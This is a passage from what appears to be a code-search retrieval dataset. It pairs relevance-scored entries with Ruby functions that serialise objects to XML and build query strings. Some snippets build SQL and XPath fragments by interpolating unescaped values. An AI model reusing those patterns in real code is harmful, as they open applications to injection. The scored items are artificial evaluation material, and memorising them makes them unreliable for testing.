"text": "def to_ArrayedXml()\n # head part\n axml = [[nil, XmlElementTag, ({ :id => @id,\n :x => @pos.x,\n :y => @pos.y,\n :height => @height })]] ;\n ## tag part\n @tagList.each{|tag|\n axml.push([:tag, tag]) ;\n }\n\n ## link part\n @linkList.each{|link|\n axml.push([[nil, :link, { :id => link.id } ]]) ;\n }\n\n return axml ;\n end",
"title": ""
},
{
"docid": "689fd804458c9db964b7c56839a71db0",
"score": "0.56265604",
"text": "def convert_to_xml(array)\n element = REXML::Element.new(\"list\")\n array.each do |item|\n list_element = REXML::Element.new(\"item\")\n list_element.add_text(item)\n element.add_element(list_element)\n end\n element\n end",
"title": ""
},
{
"docid": "7d77dc735f9854d296dc9dab7132ecb8",
"score": "0.5518742",
"text": "def to_ArrayedXml()\n # head part\n axml = [[nil, XmlElementTag, ({ :id => @id,\n :from => @fromNode.id,\n :to => @toNode.id,\n :length => @length,\n :width => @width })]] ;\n ## tag part\n @tagList.each{|tag|\n axml.push([:tag, tag]) ;\n }\n\n return axml ;\n end",
"title": ""
},
{
"docid": "c5b67d80bb16b486c86292eaeffa10e2",
"score": "0.544487",
"text": "def to_templates\n [@@uri.escape(to_s)]\n end",
"title": ""
},
{
"docid": "5a6ca679d7668dca134121db07a60b8a",
"score": "0.54066783",
"text": "def recursiveXmlBuildFrom(array, queryArray)\n \n # for each item in the array (hash)\n array.each { | item |\n \n # get the type of the current item\n type = item.fetch(\"type\")\n \n # if the type is an url\n # add it to the xml form if the url or name include query \n if (type.eql?\"url\") then\n \n name = item.fetch(\"name\").gsub(\"&\", \"&\")\n lowerCaseName = name.tr(\"A-Z\",\"a-z\")\n url = item.fetch(\"url\").gsub(\"&\", \"&\")\n \n containsAllQueryItem = true\n \n # if all of the elements of the querryArray is contained in either\n # the url or the name of the tab -> add it\n queryArray.each { | query |\n if (not (url.include?query or lowerCaseName.include?query or query.eql?\"*\")) then\n containsAllQueryItem = false\n end\n }\n \n if containsAllQueryItem then\n $xmlItem += buildXMLItemWith(url,name,url,\"yes\",\"icon.png\")\n end\n \n else\n # else if it's a folder \n # recursively call the method with the children of this folder (array of hash)\n if (type.eql?\"folder\") then\n recursiveXmlBuildFrom(item.fetch(\"children\"),queryArray)\n end\n end\n }\nend",
"title": ""
},
{
"docid": "e6df11de44ac70ae42ffd882ba956f12",
"score": "0.54010624",
"text": "def to_xml(**opts)\n builder = Nokogiri::XML::Builder.new(encoding: \"UTF-8\") do |xml|\n xml.documents do\n @array.each do |hit|\n hit.fetch\n hit.to_xml(**opts.merge(builder: xml))\n end\n end\n end\n builder.to_xml\n end",
"title": ""
},
{
"docid": "7f7c50707a8620564c190cec7ec85a16",
"score": "0.53897786",
"text": "def to_xml2\n xml = []\n xml << \"<survey id='#{self.id.to_s}' >\"\n xml << \" <name>#{self.name}</name>\"\n xml << \" <description>#{self.description}</description>\"\n xml << \" <type>#{self.surveytype}</type>\"\n xml << \" <questions>\"\n xml << questions.collect { |question| question.to_xml }\n xml << \" </questions>\"\n xml << \"</survey>\"\n end",
"title": ""
},
{
"docid": "90c624f35d37082133b646e99760ef63",
"score": "0.5312512",
"text": "def build_xpath(tags_array)\r\n\t\t\r\n\t\tresult = \"\"\r\n\t\t\r\n\t\tif tags_array.empty?\r\n\t\t\tresult = \"\"\r\n\t\telse\r\n\t\t\ttags_array.each do |a|\r\n\t\t\t\tresult = result + \"/\" + a\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\treturn(result)\r\n\t\t\r\n\tend",
"title": ""
},
{
"docid": "bd3f02bb0d57d5070c2498fd47fe4ac0",
"score": "0.5298799",
"text": "def prepare_ids_query work_items_array\n 'ids=' + work_items_array.map do |value|\n value['id']\n end.join(',')\n end",
"title": ""
},
{
"docid": "0e397a69f90dbee132c49a03c1539591",
"score": "0.5151675",
"text": "def to_s\n constraints = String.new\n additional_query = String.new\n searchable_path = String.new\n\n @value_constraints.each do |key, value|\n constraints << <<-XML\n <constraint name=\"#{key.gsub(/\\s/, '_')}\">\n <value>\n <element ns=\"#{value[\"namespace\"]}\" name=\"#{value[\"element\"]}\"/>\n </value>\n </constraint>\n XML\n end\n\n @word_constraints.each do |key, value|\n constraints << <<-XML\n <constraint name=\"#{key.gsub(/\\s/, '_')}\">\n <word>\n <element ns=\"#{value[\"namespace\"]}\" name=\"#{value[\"element\"]}\"/>\n </word>\n </constraint>\n XML\n end\n\n @attribute_constraints.each do |constraint_name, attribute_constraint|\n constraints << <<-XML\n <constraint name=\"#{constraint_name.gsub(/\\s/, '_')}\">\n <word>\n <attribute ns=\"#{attribute_constraint.attribute_namespace unless attribute_constraint.attribute_namespace.nil?}\" name=\"#{attribute_constraint.attribute}\"/>\n <element ns=\"#{attribute_constraint.element_namespace unless attribute_constraint.element_namespace.nil?}\" name=\"#{attribute_constraint.element}\"/>\n </word>\n </constraint>\n XML\n end\n\n @range_constraints.each do |key, value|\n constraints << <<-XML\n <constraint name=\"#{key.gsub(/\\s/, '_')}\">\n <range type=\"#{value[\"type\"]}\"\n XML\n if value.has_key?(\"collation\")\n constraints << \"collation=\\\"#{value[\"collation\"]}\\\"\"\n end\n\n constraints << <<-XML\n >\n <element ns=\"#{value[\"namespace\"]}\" name=\"#{value[\"element\"]}\"/>\n XML\n\n if value.has_key?(\"computed_buckets\")\n value[\"computed_buckets\"].each do |computed_bucket|\n constraints << computed_bucket.to_s if computed_bucket.instance_of?(ActiveDocument::MarkLogicSearchOptions::ComputedBucket)\n end\n end\n constraints << \"</range></constraint>\"\n end\n\n # serialize the additional query information\n if @directory_constraint\n additional_query = \"<additional-query>{cts:directory-query(\\\"#{directory_constraint}\\\", \\\"#{directory_depth}\\\")}</additional-query>\"\n end\n\n # serialize the searchable_expression\n if @searchable_expression.size > 0\n searchable_path << \"<searchable-expression\"\n searchable_path << \" xmlns:a=\\\"#{@searchable_expression.keys[0]}\\\"\" unless @searchable_expression.keys[0].nil? or @searchable_expression.keys[0].empty?\n searchable_path << '>/'\n searchable_path << \"a:\" unless @searchable_expression.keys[0].nil? or @searchable_expression.keys[0].empty?\n searchable_path << \"#{@searchable_expression.values[0]}</searchable-expression>\"\n end\n\n value = \"<options xmlns=\\\"http://marklogic.com/appservices/search\\\">\"\n unless additional_query.empty?\n value << additional_query\n end\n\n # add in constraints\n unless constraints.empty?\n value << constraints\n end\n value << \"<return-facets>#{@return_facets}</return-facets>\"\n\n # output the searchable expression\n unless searchable_path.empty?\n value << searchable_path\n end\n # close the options node\n value << \"</options>\"\n\n end",
"title": ""
},
{
"docid": "c47715a51296b524303fbf37cf7efd87",
"score": "0.51480436",
"text": "def render_string\n result = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' + \"\\n<urlset\"\n\n XmlSitemap::MAP_SCHEMA_OPTIONS.each do |key, val|\n result << ' ' + key + '=\"' + val + '\"'\n end\n\n result << \">\\n\"\n\n item_results = []\n @items.each do |item|\n item_string = \" <url>\\n\"\n item_string << \" <loc>#{CGI::escapeHTML(item.target)}</loc>\\n\"\n\n # Format and image tag specifications found at http://support.google.com/webmasters/bin/answer.py?hl=en&answer=178636\n if item.image_location\n item_string << \" <image:image>\\n\"\n item_string << \" <image:loc>#{CGI::escapeHTML(item.image_location)}</image:loc>\\n\"\n item_string << \" <image:caption>#{CGI::escapeHTML(item.image_caption)}</image:caption>\\n\" if item.image_caption\n item_string << \" <image:title>#{CGI::escapeHTML(item.image_title)}</image:title>\\n\" if item.image_title\n item_string << \" <image:license>#{CGI::escapeHTML(item.image_license)}</image:license>\\n\" if item.image_license\n item_string << \" <image:geo_location>#{CGI::escapeHTML(item.image_geolocation)}</image:geo_location>\\n\" if item.image_geolocation\n item_string << \" </image:image>\\n\"\n end\n\n # Format and video tag specifications found at http://support.google.com/webmasters/bin/answer.py?hl=en&answer=80472&topic=10079&ctx=topic#2\n if item.video_thumbnail_location && item.video_title && item.video_description && (item.video_content_location || item.video_player_location)\n item_string << \" <video:video>\\n\"\n item_string << \" <video:thumbnail_loc>#{CGI::escapeHTML(item.video_thumbnail_location)}</video:thumbnail_loc>\\n\"\n item_string << \" <video:title>#{CGI::escapeHTML(item.video_title)}</video:title>\\n\"\n item_string << \" <video:description>#{CGI::escapeHTML(item.video_description)}</video:description>\\n\"\n item_string << \" <video:content_loc>#{CGI::escapeHTML(item.video_content_location)}</video:content_loc>\\n\" if item.video_content_location\n item_string << \" <video:player_loc>#{CGI::escapeHTML(item.video_player_location)}</video:player_loc>\\n\" if item.video_player_location\n item_string << \" <video:duration>#{CGI::escapeHTML(item.video_duration.to_s)}</video:duration>\\n\" if item.video_duration\n item_string << \" <video:expiration_date>#{item.video_expiration_date_value}</video:expiration_date>\\n\" if item.video_expiration_date\n item_string << \" <video:rating>#{CGI::escapeHTML(item.video_rating.to_s)}</video:rating>\\n\" if item.video_rating\n item_string << \" <video:view_count>#{CGI::escapeHTML(item.video_view_count.to_s)}</video:view_count>\\n\" if item.video_view_count\n item_string << \" <video:publication_date>#{item.video_publication_date_value}</video:publication_date>\\n\" if item.video_publication_date\n item_string << \" <video:family_friendly>#{CGI::escapeHTML(item.video_family_friendly)}</video:family_friendly>\\n\" if item.video_family_friendly\n item_string << \" <video:category>#{CGI::escapeHTML(item.video_category)}</video:category>\\n\" if item.video_category\n item_string << \" <video:restriction relationship=\\\"allow\\\">#{CGI::escapeHTML(item.video_restriction)}</video:restriction>\\n\" if item.video_restriction\n item_string << \" <video:gallery_loc>#{CGI::escapeHTML(item.video_gallery_location)}</video:gallery_loc>\\n\" if item.video_gallery_location\n item_string << \" <video:price currency=\\\"USD\\\">#{CGI::escapeHTML(item.video_price.to_s)}</video:price>\\n\" if item.video_price\n item_string << \" <video:requires_subscription>#{CGI::escapeHTML(item.video_requires_subscription)}</video:requires_subscription>\\n\" if item.video_requires_subscription\n item_string << \" <video:uploader>#{CGI::escapeHTML(item.video_uploader)}</video:uploader>\\n\" if item.video_uploader\n item_string << \" <video:platform relationship=\\\"allow\\\">#{CGI::escapeHTML(item.video_platform)}</video:platform>\\n\" if item.video_platform\n item_string << \" <video:live>#{CGI::escapeHTML(item.video_live)}</video:live>\\n\" if item.video_live\n item_string << \" </video:video>\\n\"\n end\n\n item_string << \" <lastmod>#{item.lastmod_value}</lastmod>\\n\"\n item_string << \" <changefreq>#{item.changefreq}</changefreq>\\n\" if item.changefreq\n item_string << \" <priority>#{item.priority}</priority>\\n\" if item.priority\n\n item.xhtml_links.each do |xhl|\n item_string << \" <xhtml:link rel=\\\"alternate\\\" hreflang=\\\"#{xhl[:hreflang]}\\\" href=\\\"#{xhl[:href]}\\\" />\\n\"\n end\n\n item_string << \" </url>\\n\"\n\n item_results << item_string\n end\n\n result << item_results.join(\"\")\n result << \"</urlset>\\n\"\n\n result\n end",
"title": ""
},
{
"docid": "5fcc9b48b5c0412318c0ad8ba98d9c3b",
"score": "0.511393",
"text": "def prepare_res_obs(res_obs)\n str = \"(\"\n for res_ob in res_obs\n str = str + \"@id=\\\"\"\n str += res_ob\n str += \"\\\" or \"\n end\n str = str[0..-4] #delete last \" OR \"\n str += \")\"\n return str\n end",
"title": ""
},
{
"docid": "6c542717e4b4cd8e0dd6be9017574d5e",
"score": "0.5110106",
"text": "def render_string\n result = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' + \"\\n<urlset\"\n\n XmlSitemap::MAP_SCHEMA_OPTIONS.each do |key, val|\n result << ' ' + key + '=\"' + val + '\"'\n end\n\n result << \">\\n\"\n\n item_results = []\n @items.each do |item|\n item_string = \" <url>\\n\"\n item_string << \" <loc>#{CGI::escapeHTML(item.target)}</loc>\\n\"\n\n # Format and image tag specifications found in http://support.google.com/webmasters/bin/answer.py?hl=en&answer=178636\n if item.image_location\n item_string << \" <image:image>\\n\"\n item_string << \" <image:loc>#{CGI::escapeHTML(item.image_location)}</image:loc>\\n\"\n item_string << \" <image:caption>#{CGI::escapeHTML(item.image_caption)}</image:caption>\\n\" if item.image_caption\n item_string << \" <image:title>#{CGI::escapeHTML(item.image_title)}</image:title>\\n\" if item.image_title\n item_string << \" <image:license>#{CGI::escapeHTML(item.image_license)}</image:license>\\n\" if item.image_license\n item_string << \" <image:geo_location>#{CGI::escapeHTML(item.image_geolocation)}</image:geo_location>\\n\" if item.image_geolocation\n item_string << \" </image:image>\\n\"\n end\n\n item_string << \" <lastmod>#{item.lastmod_value}</lastmod>\\n\"\n item_string << \" <changefreq>#{item.changefreq}</changefreq>\\n\"\n item_string << \" <priority>#{item.priority}</priority>\\n\"\n item_string << \" </url>\\n\"\n\n item_results << item_string\n end\n\n result << item_results.join(\"\")\n result << \"</urlset>\\n\"\n \n result\n end",
"title": ""
},
{
"docid": "de68826c0a058add18e6e26af993552a",
"score": "0.5101797",
"text": "def to_xml(*args)\n map { |x| x.to_xml(*args) }.join\n end",
"title": ""
},
{
"docid": "0dedbf0d2ae81435ac111fc5db1f1b06",
"score": "0.5095604",
"text": "def to_res_array(id, nombre)\n [[\"#{id}\",nombre]]\n end",
"title": ""
},
{
"docid": "1e372bc4ffc9ff638abc75a98208cd08",
"score": "0.505202",
"text": "def sources\n source_array = []\n self.questions.each do |q|\n if q.class == MatrixQuestion\n q.choice_questions.each { |cq|\n source_array << [\n \"#{cq.question_content.id},QuestionContent\",\n \"#{q.question_content.statement}: #{cq.question_content.statement}(matrix answer)\"\n ]\n }\n else\n source_array << [\n \"#{q.question_content.id},QuestionContent\",\n \"#{q.question_content.statement}(Question)\"\n ]\n end\n end\n source_array\n end",
"title": ""
},
{
"docid": "972c4494bc0ada10031f95c7362a4422",
"score": "0.4997075",
"text": "def build_query(query)\n tags = query[:words]\n ntags = query[:nwords]\n stocks = query[:threshold]\n created = query[:created_ago]\n\n result = []\n result << tags.map { |w| \"tag:#{w}\" } if tags.present?\n result << ntags.map { |w| \"-tag:#{w}\" } if ntags.present?\n result << \"stocks:>#{stocks}\" if stocks.present?\n result << \"created:>#{created.strftime('%F')}\" if created.present?\n\n result.flatten.join(' ')\n end",
"title": ""
},
{
"docid": "d894fa286f416856a3f0afe4423b298d",
"score": "0.49938416",
"text": "def to_xml( qnames={} )\n\t\treturn self.to_rdfxml( qnames )\n\tend",
"title": ""
},
{
"docid": "7acb260bf477488962b25b220e86047f",
"score": "0.49819118",
"text": "def array_to_string(grades)\n first_element = grades.first\n grades = grades[1..grades.length]\n query = \"tags.name='#{first_element}'\"\n grades.each do |e|\n query << \" OR tags.name='#{e}'\"\n end\n return query\n end",
"title": ""
},
{
"docid": "0d809496edcaef7a1fc98dc7dc663741",
"score": "0.49655116",
"text": "def xmlAttr(array = nil)\r\n #return \" r=\\\"\" + r.to_s + \"\\\" g=\\\"\" + g.to_s + \"\\\" b=\\\"\" + b.to_s + \"\\\"\"\r\n a = array || Array.new\r\n a << ['r', @r]\r\n a << ['g', @g]\r\n a << ['b', @b]\r\n a\r\n end",
"title": ""
},
{
"docid": "07a9d2710df82444da1c554370229cae",
"score": "0.49622488",
"text": "def to_ArrayedXml()\n setupBoundaryBox() ;\n # head part\n axml = [[nil, XmlElementTag,\n ({ :id => @id,\n :imageFileName => @imageFileName,\n :defaultHeight => @defaultHeight,\n :maxHeight => @maxHeight,\n :minHeight => @minHeight,\n :pNorthWestX => @northWestCorner.x,\n :pNorthWestY => @northWestCorner.y,\n :pSouthEastX => @southEastCorner.x,\n :pSouthEastY => @southEastCorner.y,\n :pTheta => @pTheta,\n :r => @r,\n :scale => @scale,\n :sx => @sPoint.x,\n :sy => @sPoint.y,\n :tx => @tPoint.x,\n :ty => @tPoint.y })]] ;\n ## tag part\n @tagList.each{|tag|\n axml.push([:tag, tag]) ;\n }\n\n ## node part\n @nodeList.each{|node|\n axml.push(node.to_ArrayedXml()) ;\n }\n\n ## link part\n @linkList.each{|link|\n axml.push(link.to_ArrayedXml()) ;\n }\n\n return axml ;\n end",
"title": ""
},
{
"docid": "f180da62c9fdb0f41e29feb9467e0aa7",
"score": "0.4956575",
"text": "def query_to_sparql(query)\n variables = []\n patterns = []\n query.patterns.each do |p|\n variables.concat(p.variables.values)\n triple = [p.subject, p.predicate, p.object]\n str = triple.map {|v| serialize(v) }.join(\" \")\n # TODO: Wrap in graph block for context!\n if p.optional?\n str = \"OPTIONAL { #{str} }\"\n end\n patterns << \"#{str} .\"\n end\n \"SELECT #{variables.uniq.join(\" \")}\\nWHERE {\\n #{patterns.join(\"\\n \")} }\"\n end",
"title": ""
},
{
"docid": "91184ad1a80a5eb77ce7ae01b2b0ea96",
"score": "0.4942225",
"text": "def render_string\n result = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>' + \"\\n<urlset\"\n \n XmlSitemap::MAP_SCHEMA_OPTIONS.each do |key, val|\n result += ' ' + key + '=\"' + val + '\"'\n end\n \n result += \">\\n\"\n \n item_results = []\n @items.each do |item|\n item_string = \" <url>\\n\"\n item_string += \" <loc>#{CGI::escapeHTML(item.target)}</loc>\\n\"\n\n unless item.alternate_urls.empty?\n item.alternate_urls.each do |alternate_url|\n item_string += \" <xhtml:link rel=\\\"alternate\\\" hreflang=\\\"#{alternate_url[:hreflang]}\\\" href=\\\"#{CGI::escapeHTML(alternate_url[:href])}\\\"/>\\n\"\n end\n end\n\n item_string += \" <lastmod>#{item.lastmod_value}</lastmod>\\n\"\n item_string += \" <changefreq>#{item.changefreq}</changefreq>\\n\"\n item_string += \" <priority>#{item.priority}</priority>\\n\"\n item_string += \" </url>\\n\"\n \n item_results << item_string\n end\n \n result = result + item_results.join(\"\") + \"</urlset>\\n\"\n result\n end",
"title": ""
},
{
"docid": "d57cac7237932e8d0525a400616932a8",
"score": "0.49375737",
"text": "def generate_xml(objects)\n \txml = Builder::XmlMarkup.new\n objects.each do |o|\n generate_object(xml, o)\n end\n xml.xml\n end",
"title": ""
},
{
"docid": "adc841760d6641995e25fe679f330095",
"score": "0.49309653",
"text": "def search_elements_string\n search_elements.map do |element|\n value = (send element) ? (send element) : default_search_elements[element]\n name = element.id2name.camelize\n name[0] = name[0].downcase\n\n next if rest_search_elements.exclude?(name) || value.nil?\n\n \"#{name}=#{URI.encode(value.to_s)}\"\n end.compact.join('&')\n end",
"title": ""
},
{
"docid": "1e8e06bda26d8d4578b5f3059d829dbf",
"score": "0.49072617",
"text": "def convert(data, _first)\n data.map { |row| \"<result>#{row.to_xml}</result>\" }.join\n end",
"title": ""
},
{
"docid": "0458fd8dde723a03c309443441d56314",
"score": "0.48884016",
"text": "def create_query_string(arr)\n \"?#{URI.encode_www_form(arr)}\"\n end",
"title": ""
},
{
"docid": "a919555667612b3447d05934a0e52ac5",
"score": "0.4879898",
"text": "def query_params\n ref_path = request.path_info;\n ref_query = URI.decode(request.query_string)\n query_options = ref_query.split('&').select{|r| !r.blank?}\n res = []\n query_path = []\n\n query_options[0..-2].each do |qo|\n qo.match(/q\\[(\\w+)\\]\\[\\]=(.+)/)\n attribute = $1\n condition = $2\n found = false\n res << link_to(\"#{attribute.humanize}: #{condition}\", ref_path+\"?\"+query_path.join(\"&\"))\n query_path << qo\n\n end\n\n query_options[-1].match(/q\\[(\\w+)\\]\\[\\]=(.+)/)\n attribute = $1\n condition = $2\n res << \"#{attribute.humanize}: #{condition}\"\n\n return res.join(' > ')\n end",
"title": ""
},
{
"docid": "777f82e8635d509c83c19dcb0a38dfb4",
"score": "0.48646703",
"text": "def resources\n [resource, \"s\"].join\n end",
"title": ""
},
{
"docid": "42d034e9cbf06592ac978080b838cc61",
"score": "0.4855972",
"text": "def to_xml\n\t\t\tresult_string = String.new\n\t\t\tresult_string << \"<results>\\n\"\n\t\t\[email protected] do |result|\n\t\t\t\tresult_string << \"\\t<vtresult>\\n\"\n\t\t\t\tRESULT_FIELDS.each{|field|\n\t\t\t\t\tresult_string << \"\\t\\t<#{field.to_s}>#{result[field]}</#{field.to_s}>\\n\" unless field == :permalink and result['permalink'].nil?\n\t\t\t\t}\n\t\t\t\tresult_string << \"\\t</vtresult>\\n\"\n\t\t\tend if @results != nil\n\t\t\tresult_string << \"</results>\\n\"\n\n\t\t\tresult_string\n\t\tend",
"title": ""
},
{
"docid": "153dacc500e9e75708ff8bdb661be86d",
"score": "0.48407573",
"text": "def resource_array\n\t\tresource = current_employee.company.resources.collect {|x| [x.name.to_s,x.id] }\n\tend",
"title": ""
},
{
"docid": "c4a2126071e4d3b8f4c15eb37f2ee3c6",
"score": "0.48148894",
"text": "def to_query_string\n [\n # TODO: implement display fields & sort_bys for REST API\n request_params_string,\n query_terms_string,\n search_elements_string,\n languages_string,\n locations_string,\n multi_facets_string,\n included_facets_string,\n excluded_facets_string\n ].delete_if(&:empty?).join('&')\n end",
"title": ""
},
{
"docid": "96022598448eab41931edf09d4bdb311",
"score": "0.48055026",
"text": "def to_xml()\n a = REXML::Element.new(\"application\")\n a.add_attribute(\"id\", id)\n a.add_element(\"name\", id).text = name != nil ? name : id\n if (uri != nil)\n a.add_element(\"uri\").text = uri\n end\n\n if (version != nil)\n a.add_element(version.to_xml)\n end\n a.add_element(\"copyright\").text = copyright\n a.add_element(\"shortDescription\").text = shortDescription\n a.add_element(\"description\").text = description\n\n if @properties.length > 0\n pe = a.add_element(\"properties\")\n @properties.each_value {|p|\n pe.add_element(p.to_xml)\n }\n end\n\n if @measurements.length > 0\n me = a.add_element(\"measurements\")\n @measurements.each_value {|m|\n me.add_element(m.to_xml)\n }\n end\n\n a.add_element(\"path\").text = @path\n if (@environment.length > 0)\n pv = a.add_element(\"environments\")\n @environment.each {|k, v|\n pv.add_element('env', {'name' => k}).text = v\n }\n end\n return a\n end",
"title": ""
},
{
"docid": "e05230ccd97c3cefe7f3162c85de0551",
"score": "0.48028854",
"text": "def to_query\n list.map {|element| element.to_query }.join('&')\n end",
"title": ""
},
{
"docid": "add73ab159efbce9ec3b6e30c6f1d3cd",
"score": "0.4800813",
"text": "def convertElementsToString (arrayOfElements)\n\t\tconvertedElements = Array.new\n\n\t\tarrayOfElements.each do |elem|\n\t\t\t# Array of all image tags as strings Ex. <img alt=\"xxxx\" src=\"xxx\" />\t\t\t\t\t\t\n\t\t\tconvertedElements.push(elem.to_s)\n\t\tend\n\t\t\n\t\treturn convertedElements\n\tend",
"title": ""
},
{
"docid": "7ed32cf80eee6d0cc0090cff58734268",
"score": "0.47978634",
"text": "def to_s\n # return empty Relation when Relation's size equal 0\n return 'Relation{}' if size == 0\n\n # map elements from Relation to an array\n relation_s = \"Relation{#{self.map { |x| x.to_s }}}\"\n\n # remove square brackets and double quotes\n relation_s.delete('[]\"')\n end",
"title": ""
},
{
"docid": "f05d4b77f15c248e2c29625586477676",
"score": "0.47954863",
"text": "def concatenate_arrays(query)\n arrays = where(query)\n ids = arrays.pluck(:id, :array_index).sort_by(&:last).map(&:first)\n ids.map { |id| find(id).values }.reduce([], :+)\n end",
"title": ""
},
{
"docid": "881475935feca3e25f0b01b4ffc6ded1",
"score": "0.47930753",
"text": "def xmlGenerator\n @xml = Quotation.all\n respond_to do |format|\n format.html\n format.json { render :json => @xml }\n format.xml { render :xml => @xml }\n end\n end",
"title": ""
},
{
"docid": "8c46a0726fd0113856d7e1778282b47b",
"score": "0.4791211",
"text": "def create_sql_collection_string(arr)\n str = arr.join(\"','\")\n \"('#{str}')\"\nend",
"title": ""
},
{
"docid": "32460b58db42c914a4ef2479cf016813",
"score": "0.47848564",
"text": "def to_resource\n if self.length == 1\n self.each(:node){ |resource|\n return resource\n }\n else\n resource_array=Array::new\n self.each(:node){ |resource|\n resource_array.push( resource )\n }\n return resource_array\n end\n end",
"title": ""
},
{
"docid": "831b2f6b10e7b741836d68fa5ce1cf40",
"score": "0.47812518",
"text": "def fetch_q_and_a(themes:)\n return [] unless themes.is_a?(Array) && themes.any?\n\n ret = themes.map do |theme|\n qs = @plan.questions.select { |q| q.themes.collect(&:title).include?(theme) }\n descr = qs.map do |q|\n a = @plan.answers.find { |ans| ans.question_id = q.id }\n next unless a.present? && !a.blank?\n\n \"<strong>Question:</strong> #{q.text}<br><strong>Answer:</strong> #{a.text}\"\n end\n { title: theme, description: descr }\n end\n ret.select { |item| item[:description].present? }\n end",
"title": ""
},
{
"docid": "020c4dc974ce865883d57ed0283a14f7",
"score": "0.47786868",
"text": "def resources \n return @elements.collect{|s,p,o| s}.compact.uniq \n end",
"title": ""
},
{
"docid": "d472e17fc98d4bd68e5c229a920d9673",
"score": "0.47758585",
"text": "def query_objects\n queries.values\n end",
"title": ""
},
{
"docid": "83a5c1453502b6a8686a76d74962af93",
"score": "0.4770013",
"text": "def build_resources(param)\n resources = []\n param.each { |r|\n obj_parts = r.split(',')\n res = LessonPlanResource.new\n res.obj_id = obj_parts[0]\n res.obj_type = obj_parts[1]\n resources.push(res)\n }\n\n resources\n end",
"title": ""
},
{
"docid": "904fb8a6913da4be6a31038d278eb101",
"score": "0.47654137",
"text": "def to_xml\n pairs = []\n\n [:version, :encoding, :standalone].each do |getter|\n value = send(getter)\n\n pairs << %Q{#{getter}=\"#{value}\"} if value\n end\n\n return \"<?xml #{pairs.join(' ')} ?>\"\n end",
"title": ""
},
{
"docid": "904fb8a6913da4be6a31038d278eb101",
"score": "0.47654137",
"text": "def to_xml\n pairs = []\n\n [:version, :encoding, :standalone].each do |getter|\n value = send(getter)\n\n pairs << %Q{#{getter}=\"#{value}\"} if value\n end\n\n return \"<?xml #{pairs.join(' ')} ?>\"\n end",
"title": ""
},
{
"docid": "2b22ad4ed5b46d8161c22ef1070df63b",
"score": "0.47595915",
"text": "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'Resource' => resource}\n xml.tag!('samlp:AuthzDecisionQuery', attributes) {\n xml << subject.to_xml unless subject.nil?\n actions.each { |action| xml << action.to_xml }\n xml << evidence.to_xml unless evidence.nil?\n }\n end",
"title": ""
},
{
"docid": "af57e2cfbc2230c02acc388698bcd1a2",
"score": "0.47571647",
"text": "def to_xml(array, key, escape_xml = true, attributes = {}, options = {})\n xml = build_xml(array, key, escape_xml, attributes, options)\n\n if options[:pretty_print] && options[:unwrap]\n Prettifier.prettify(xml, options)\n else\n xml\n end\n end",
"title": ""
},
{
"docid": "4ded2f57dc121887d58bc95b22c4fa67",
"score": "0.47388512",
"text": "def resources_nested_by_id\n [\n { asset_ids: [] },\n { document_ids: [] },\n { representation_ids: [] },\n { preferred_representation_ids: [] },\n { aictag_ids: [] },\n { tagcat_ids: [] },\n { status_ids: [] },\n { view_ids: [] },\n { document_type_ids: [] },\n { tag_ids: [] }\n ]\n end",
"title": ""
},
{
"docid": "2733a8f136476d63920c9e2ab52729c2",
"score": "0.47338557",
"text": "def build_responses\n\t\tresponses = []\n\t\tself.queries.each do |query|\n\t\t\theader_response = \"1H|\\`^&||||||||||P|E 1394-97|#{Time.now.strftime(\"%Y%m%d%H%M%S\")}\\r\"\n\t\t\tquery.build_response.each do |qresponse|\n\t\t\t\tresponses << (header_response + qresponse)\n\t\t\tend\n\t\tend\n=begin\n\t\tresponses = self.queries.map {|query|\n\t\t\theader_response = \"1H|\\`^&||||||||||P|E 1394-97|#{Time.now.strftime(\"%Y%m%d%H%M%S\")}\\r\"\n\t\t\t## here the queries have multiple responses.\n\t\t\tquery.build_response.each do |qresponse|\n\n\t\t\tend\n\t\t\tquery.response = header_response + query.build_response\n\t\t\tquery.response\n\t\t}\n=end\n\t\tresponses\n\tend",
"title": ""
},
{
"docid": "cbc16190e4d5295e7b957cdb0faaf90e",
"score": "0.4732781",
"text": "def to_filter_query(arr)\n if arr.is_a? Array\n key = arr.shift\n \"(#{key} \" +\n arr.map {|sub| to_filter_query(sub)}.join(\" \") +\n \")\"\n else\n arr.to_s\n end\nend",
"title": ""
},
{
"docid": "06451afc38d4f186ec8a5789a0f6d513",
"score": "0.4732131",
"text": "def goobi_xml_tags\n goobi_tag_list.map(&:to_xml).join\n end",
"title": ""
},
{
"docid": "4d4d3e91a5b47b414b7b3c8c8ef81c13",
"score": "0.47245392",
"text": "def consolidate_ids( response_array )\n result = []\n response_array.each { | res | result += res[ \"results\" ] }\n result\n end",
"title": ""
},
{
"docid": "a8cbe49582ded042f1ab0cfbe94a066d",
"score": "0.47224292",
"text": "def get_explanations\n explanations = @raw_results.xpath('//lst[@name=\"explain\"]/str')\n\t\ttmp = Array.new\n explanations.each do |doc|\n # A workaround for what I consider to be extremely odd Nokogiri\n # behavior, but which will turn out to be due to my misunderstanding\n # the library, or xml in general...\n doc = Nokogiri::XML.parse doc.to_s\n tmp << doc\n end\n\t\ttmp\n\tend",
"title": ""
},
{
"docid": "c75cf2ebaf7a1d99ab1997bdf416a0f5",
"score": "0.47122455",
"text": "def items_array\n array = []\n self.excerpts.each do |object|\n array.push object\n end\n self.quotes.each do |object|\n array.push object\n end\n self.terms.each do |object|\n array.push object\n end\n self.people.each do |object|\n array.push object\n end\n return array\n end",
"title": ""
},
{
"docid": "c75cf2ebaf7a1d99ab1997bdf416a0f5",
"score": "0.47122455",
"text": "def items_array\n array = []\n self.excerpts.each do |object|\n array.push object\n end\n self.quotes.each do |object|\n array.push object\n end\n self.terms.each do |object|\n array.push object\n end\n self.people.each do |object|\n array.push object\n end\n return array\n end",
"title": ""
},
{
"docid": "4c6dc9c19653ab9c8bfcbeac6a461634",
"score": "0.47068673",
